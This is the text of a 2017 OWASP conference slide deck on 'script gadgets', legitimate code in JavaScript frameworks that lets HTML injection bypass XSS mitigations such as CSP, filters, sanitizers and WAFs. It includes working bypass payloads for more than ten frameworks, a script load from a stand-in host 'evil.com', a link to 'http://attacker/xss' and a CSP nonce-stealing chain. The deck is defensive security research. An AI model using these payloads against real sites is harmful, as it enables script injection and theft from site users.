



OWASP
AppSec EU
Belfast

8th to 12th
of May
2017

Waterfront
Conference
Center

Breaking XSS mitigations via Script Gadgets

Sebastian Lekies (@slekies)

Krzysztof Kotowicz (@kkotowicz)

not here: Eduardo Vela Nava (@sirdarckcat)

XSS and mitigations

XSS mitigations

- Despite considerable effort XSS is a widespread and unsolved issue.
 - Data point: 70% of vulnerabilities in Google VRP are XSSes.
- Basic assumption of XSS mitigation techniques:

***XSS vulnerabilities will always exist.
Let's instead focus on mitigating the attack.***

- Mitigations *aim* to stop those ways to exploit XSS



XSS mitigations

- **WAFs, XSS filters**

Block requests containing dangerous tags / attributes

- **HTML Sanitizers**

Remove dangerous tags / attributes from HTML

- **Content Security Policy**

Distinguish legitimate and injected JS code

- Whitelist legitimate origins
- Whitelist code hash
- Require a secret nonce

```
<p width=5>  
<b><i>
```



```
<script>  
onload=
```



**Mitigations assume that
blocking dangerous tags & attributes stops XSS.**

**Is this true when building an application
with a modern JS framework?**

Selectors

- JavaScript's whole purpose is to interact with the document
- JavaScript interacts with the DOM via so-called selectors:

```
<myTag id="someId" class="class1" data-foo="bar"></myTag>

<script>
  tags = document.querySelectorAll("myTag"); // by tag name
  tags = document.querySelectorAll("#someId"); // by id
  tags = document.querySelectorAll(".class1"); // by class name
  tags = document.querySelectorAll("[data-foo]"); // by attribute name
  tags = document.querySelectorAll("[data-foo^=bar]"); // by attribute value
</script>
```

Selectors in Frameworks

- Selectors are fundamental to all JavaScript frameworks and libraries
- E.g. jQuery is most famous for its \$ function:

```
$('<jquery selector>').append('some text to append');
```

- Bootstrap framework uses data-attributes for its API:

```
<div data-toggle=tooltip title='I am a tooltip!>some text</div>
```


Selectors - Example

```
<div data-role="button" data-text="I am a button"></div>

<script>
  var buttons = $('[data-role=button]');
  buttons.attr("style", "...");
  // [...]
  buttons.html(button.getAttribute("data-text"));
</script>
```

Any security issues with this code?

XSS Example

```
XSS BEGINS HERE
```

```
<div data-role="button" data-text="<script>alert(1)</script>"></div>
```

```
XSS ENDS HERE
```

```
<div data-role="button" data-text="I am a button"></div>
```

```
<script>
```

```
  var buttons = $('[data-role=button]');
```

```
  buttons.attr("style", "...");
```

```
  // [...]
```

```
  buttons.html(button.getAttribute("data-text"));
```

```
</script>
```

DOM cannot be trusted, even when benign tags/attributes are used.

Legitimate code turns them into JS & bypasses the mitigations.

Script Gadgets

A *Script Gadget* is a piece of **legitimate JavaScript code** that can be triggered via an HTML injection.

Research

Are gadgets common?

We took 16 modern JavaScript frameworks & libraries

- A mix of MVC frameworks, templating systems, UI component libraries, utilities
- Curated selection based on popularity lists, StackOverflow questions & actual usage stats

Angular (1.x), Polymer (1.x), React, jQuery, jQuery UI, jQuery Mobile, Vue, Aurelia, Underscore / Backbone, Knockout, Ember, Closure Library, Ractive.js, Dojo Toolkit, RequireJS, Bootstrap

Research

1. We built sample applications in every framework
2. We added XSS flaws
3. We set up various XSS mitigations:
 - CSP - whitelist-based, nonce-based, unsafe-eval, strict-dynamic
 - XSS filters - Chrome XSS Auditor, Edge, NoScript
 - HTML Sanitizers - DOMPurify, Closure HTML sanitizer
 - WAFs - ModSecurity w/CRS
4. We manually analyzed the frameworks code
5. And started writing bypasses using **script gadgets**

Results sneak peek

We bypassed **every** tested mitigation. We have PoCs!

Mitigation bypass-ability via script gadget chains in 16 popular libraries

Content Security Policy				WAFs
whitelists	nonces	unsafe-eval	strict-dynamic	ModSecurity CRS
3 /16	4 /16	10 /16	13 /16	9 /16

XSS Filters			Sanitizers	
Chrome	Edge	NoScript	DOMPurify	Closure
13 /16	9 /16	9 /16	9 /16	6 /16

Example gadgets

- `document.querySelector()`, `document.getElementById()`, ...
- `eval()`, `.innerHTML = foo`, ...
- `document.createElement('script')`, `document.createElement(foo)`
- `obj[foo] = bar`, `foo = foo[bar]`
- `function()`, `callback.apply()`, ...

Such snippets are seemingly benign & common in JS framework/libraries.

Script Gadgets can be chained to trigger arbitrary JS code execution.

Example: Knockout

```
<div data-bind="value:'hello world'"></div>
```

The syntax is benign HTML i.e. browser won't interpret it as JavaScript.

Knockout activates it using the following statements:

```
switch (node.nodeType) {  
  case 1: return node.getAttribute("data-bind");
```

```
var rewrittenBindings = ko.expressionRewriting.preProcessBindings(bindingsString, options),  
    functionBody = "with($context){with($data|{|}){return{" + rewrittenBindings + "}}}";  
return new Function("$context", "$element", functionBody);
```

```
return bindingFunction(bindingContext, node);
```

Example: Knockout

Knockout creates an **Attribute value** => **function call chain**

```
<div data-bind="foo: alert(1)"></div>
```

- Payload is contained in **data- attribute value**
- Variants of the above bypass
 - DOMPurify
 - XSS filters
 - ModSecurity CRS

Example: Knockout

```
<div data-bind="html:'hello<b>world</b>'"></div>
```

Knockout code processes the data from the DOM:

```
ko.bindingHandlers['html'] = {  
  'update': function (element, valueAccessor) {  
    ko.utils.setHtml(element, valueAccessor());}};
```

```
ko.utils.setHtml = function(node, html) {  
  if (jQueryInstance)  
    jQueryInstance(node)['html'](node);};
```

```
function DOMEval( code, doc ) { // JQuery 3  
  var script = doc.createElement( "script" );  
  script.text = code;  
  doc.head.appendChild( script ).parentNode.removeChild( script );
```

Example: Knockout

Attribute value => `document.createElement('script')` chain

- strict-dynamic CSP propagates trust to programmatically created scripts
- Bypass for **strict-dynamic CSP**

```
<div
  data-bind="html:'<script src='\"//evil.com\"></script>'">
</div>
```

Simple Script Gadgets

Example: Bypassing CSP strict-dynamic via Bootstrap

```
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>
```

Example: Bypassing sanitizers via jQuery Mobile

```
<div data-role=popup id='--><script>alert(1)</script>'></div>
```

Example: Bypassing NoScript via Closure (DOM clobbering)

```
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
```

Simple Script Gadgets

Example: Bypassing ModSecurity CRS via Dojo Toolkit

```
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">
```

Example: Bypassing CSP unsafe-eval via underscore templates

```
<div type=underscore/template> <% alert(1) %> </div>
```

Script Gadgets in expression parsers

Gadgets in expression parsers

Aurelia, Angular, Polymer, Ractive, Vue

- The frameworks above use non-eval based expression parsers
- They tokenize, parse & evaluate the expressions on their own
- Expressions are “compiled” to Javascript
- During evaluation (e.g. binding resolution) this parsed code operates on
 - DOM elements, attributes
 - Native objects, Arrays etc.
- With sufficiently complex expression language, we can run arbitrary JS code.
- Example: AngularJS sandbox bypasses

Gadgets in expression parsers

Example: Aurelia - property traversal gadgets

```
<td>  
  ${customer.name}  
</td>
```

```
if (this.optional('.')) {  
  // ...  
  result = new AccessMember(result, name);}
```

```
AccessMember.prototype.evaluate = function(...) { // ...  
  return /* ... */ instance[this.name];  
};
```

Gadgets in expression parsers

Example: Aurelia - function call gadgets

```
<button foo.call="sayHello()">  
  Say Hello!  
</button>
```

```
if (this.optional('(')) {  
  // ...  
  result = new CallMember(result, name, args);}
```

```
CallMember.prototype.evaluate = function(...) { // ...  
  return func.apply(instance, args);  
};
```

Gadgets in expression parsers

How to trigger alert(1)?

- Traverse from Node to window
- Get window["alert"] reference
- Execute the function with controlled parameters

```
<div ref=me  
  s.bind="$this.me.ownerDocument.defaultView.alert(1)"></div>
```

This approach bypasses **all** mitigations tested, even whitelist- and nonce based CSP.

Gadgets in expression parsers

Example: Bypassing whitelist / nonced CSP via **Polymer 1.x**

```
<template is=dom-bind><div
  c={{alert('1',ownerDocument.defaultView)}}
  b={{set('_rootDataHost',ownerDocument.defaultView)}}>
</div></template>
```

Example: Bypassing whitelist / nonced CSP via **AngularJS 1.6+**

```
<div ng-app ng-csp ng-focus="x=$event.view.window;x.alert(1)">
```

Gadgets in expression parsers

With those gadgets, we can create more elaborate chains.

Example: creating a new `<script>` element in **Polymer 1.x**

```
<template is=dom-bind><div
  five={{insert(me._nodes.0.scriptprop)}}
  four="{{set('insert',me.root.ownerDocument.body.appendChild)}}}"
  three="{{set('me',nextSibling.previousSibling)}}}"
  two={{set('_nodes.0.scriptprop.src','data:\,alert(1)')}}
  scriptprop={{_factory()}}
  one={{set('_factoryArgs.0','script')}} >
</template>
```

Gadgets in expression parsers

Sometimes, we can even construct CSP nonce exfiltration & reuse:

Example: Stealing CSP nonces via Ractive

```
<script id="template" type="text/ractive">
  <iframe srcdoc="
    <script nonce={{@global.document.currentScript.nonce}}>
      alert(1337)
    </{{{}}script>">
  </iframe>
</script>
```

Bypassing mitigations with gadgets

- XSS filters, WAFs
 - Encode the payloads
 - Confuse the parser
 - Externalize the payload (`window.name?`)
- Client-side sanitizers
 - Find chain with whitelisted elements / attributes (e.g. `data-` attributes in DOMPurify)
- CSP unsafe-eval
 - Find DOM => eval gadget chain
- CSP strict-dynamic
 - Find DOM => `createElement('script')` chain
- Whitelist/nonce/hash-based CSP
 - Use framework with custom expression parser

Overall results

How common are gadgets and gadget chains?

How effective are they in bypassing XSS mitigations?

Results

We found bypass chains for **every** mitigation tested.

Mitigation bypass-ability via script gadget chains in 16 modern libraries

CSP				XSS Filter			Sanitizers		WAFs
whitelists	nonces	unsafe-eval	strict-dynamic	Chrome	Edge	NoScript	DOMPurify	Closure	ModSecurity CRS
3 / 16	4 / 16	10 / 16	13 / 16	13 / 16	9 / 16	9 / 16	9 / 16	6 / 16	9 / 16

- Whitelist & nonce-only based CSPs performed best
- *unsafe-eval* and *strict-dynamic* relax the CSP (esp. when combined)
- False-negative prone mitigations perform better (Edge vs Chrome XSS filter)

Framework / Library	CSP				XSS Filter			Sanitizers		WAFs
	whitelists	nonces	unsafe-eval	strict-dynamic	Chrome	Edge	NoScript	DOMPurify	Closure	ModSecurity CRS
Vue.js			✓	✓	✓	✓	✓	✓	✓	✓
Aurelia	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
AngularJS 1.x	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
Polymer 1.x	✓	✓	✓	✓	✓	✓	✓	☐	☐	✓
Underscore / Backbone			✓	☐	✓	✓	✓	✓	✓	✓
Knockout			✓	✓	✓	✓	✓	✓	☐	✓
jQuery Mobile	☐	☐	✓	✓	✓	✓		✓	✓	✓
Ember.js	☐	☐	✓	✓	☐	☐	☐			
React	☐	☐								
Closure				✓	✓	☐	✓			
Ractive	☐	✓	✓	✓	✓	☐	☐	☐	☐	☐
Dojo Toolkit			✓		✓	✓	✓	✓	☐	✓
RequireJS				✓	✓	☐				
jQuery	☐	☐		✓		☐				
jQuery UI	☐	☐		✓	✓	☐	✓	✓	✓	✓
Bootstrap				✓	✓	✓		✓		

Framework / Library	CSP				XSS Filter			Sanitizers		WAFs
	whitelists	nonces	unsafe-eval	strict-dynamic	Chrome	Edge	NoScript	DOMPurify	Closure	ModSecurity CRS
Vue.js			✓	✓	✓	✓	✓	✓	✓	✓
Aurelia	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
AngularJS 1.x	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
Polymer 1.x	✓	✓	✓	✓	✓	✓	✓	☐	☐	✓
Underscore / Backbone			✓	☐	✓	✓	✓	✓	✓	✓
Knockout			✓	✓	✓	✓	✓	✓	☐	✓
jQuery Mobile	☐	☐	✓	✓	✓	✓		✓	✓	✓
Emberjs	☐	☐	✓	✓	☐	☐	☐			
React	☐	☐								
Closure				✓	✓	☐	✓			
Ractive	☐	✓	✓	✓	✓	☐	☐	☐	☐	☐
Dojo Toolkit			✓		✓	✓	✓	✓	☐	✓
RequireJS				✓	✓	☐				
jQuery	☐	☐		✓		☐				
jQuery UI	☐	☐		✓	✓	☐	✓	✓		
Bootstrap				✓	✓	✓		✓		

- ✓ Found bypass
- ☐ Bypass unlikely to exist
- Requires userland code
- Development mode only (won't work on real websites)
- Requires unsafe-eval

Results

- PoCs at <https://github.com/google/security-research-pocs>
- Bypasses in **53.13%** of the framework/mitigation pairs
- 🙌🙌🙌 React, 🙌 EmberJS
- XSSes in **Aurelia**, **Angular** (1.x), **Polymer** (1.x) can bypass **all** mitigations via expression parsers

Caveats

- Comparing mitigations
 - We evaluate only **one** aspect: bypass-ability via Script Gadgets
 - We ignore deployment costs, performance, updatability, vulnerability to regular XSSes etc.
- Comparing frameworks
 - Similarly, we evaluate the presence of exploitable gadget chains and nothing else
- Default settings
 - Sometimes altering a setting disables some gadgets
 - Example: DOMPurify [SAFE_FOR_TEMPLATES](#)
- Userland code was necessary in some instances
 - Such code reasonably exists in real-world applications - e.g. jQuery `after()`

Summary & Conclusions

Summary

- **XSS mitigations work by blocking attacks**
 - Focus is on potentially malicious tags / attributes
 - Most tags and attributes are considered benign
- **Gadgets can be used to bypass mitigations**
 - Gadgets turn benign attributes or tags into JS code
 - Gadgets can be triggered via HTML injection
- **Gadgets are prevalent in all modern JS frameworks**
 - They break various XSS mitigations
 - Already known vectors at <https://github.com/google/security-research-pocs>
 - Find your own too!

Outlook & Conclusion

XSS mitigations are not aligned with modern JS libraries

- Designed to stop traditional XSSes (DOM, reflected, stored) only
- We consider Gadgets as “game changing”

We looked at frameworks, but what about user land code?

- We are currently running a study to find gadgets on Alexa top 5000 sites
- Preliminary results suggest that **gadgets are wide-spread**

What do we do about it?

Outlook & Conclusion

Adding “gadget awareness” to mitigations likely difficult:

- Multiple libraries and expression languages
- False positives ([example](#))

Patching gadgets in frameworks problematic:

- Multiple libraries
- Some gadgets are harder to find than XSS flaws
- Developer pushback - there's no *bug* (XSS is a bug)
- Sometimes gadgets are a *feature* (e.g. expression languages)
- Feasible only in controlled environment

Outlook & Conclusion

- A novice programmer, today, cannot write a complex but secure application
- The task is getting harder, not easier
- We need to make the platform **secure-by-default**
 - Safe DOM APIs
 - Better primitives in the browser
 - Build-time security:
 - e.g. precompiled templates (see Angular 2 [AOT](#))
- We need to develop better **isolation** primitives
 - [Suborigins](#), `<iframe sandbox>`, [Isolated scripts](#)

Thank You!

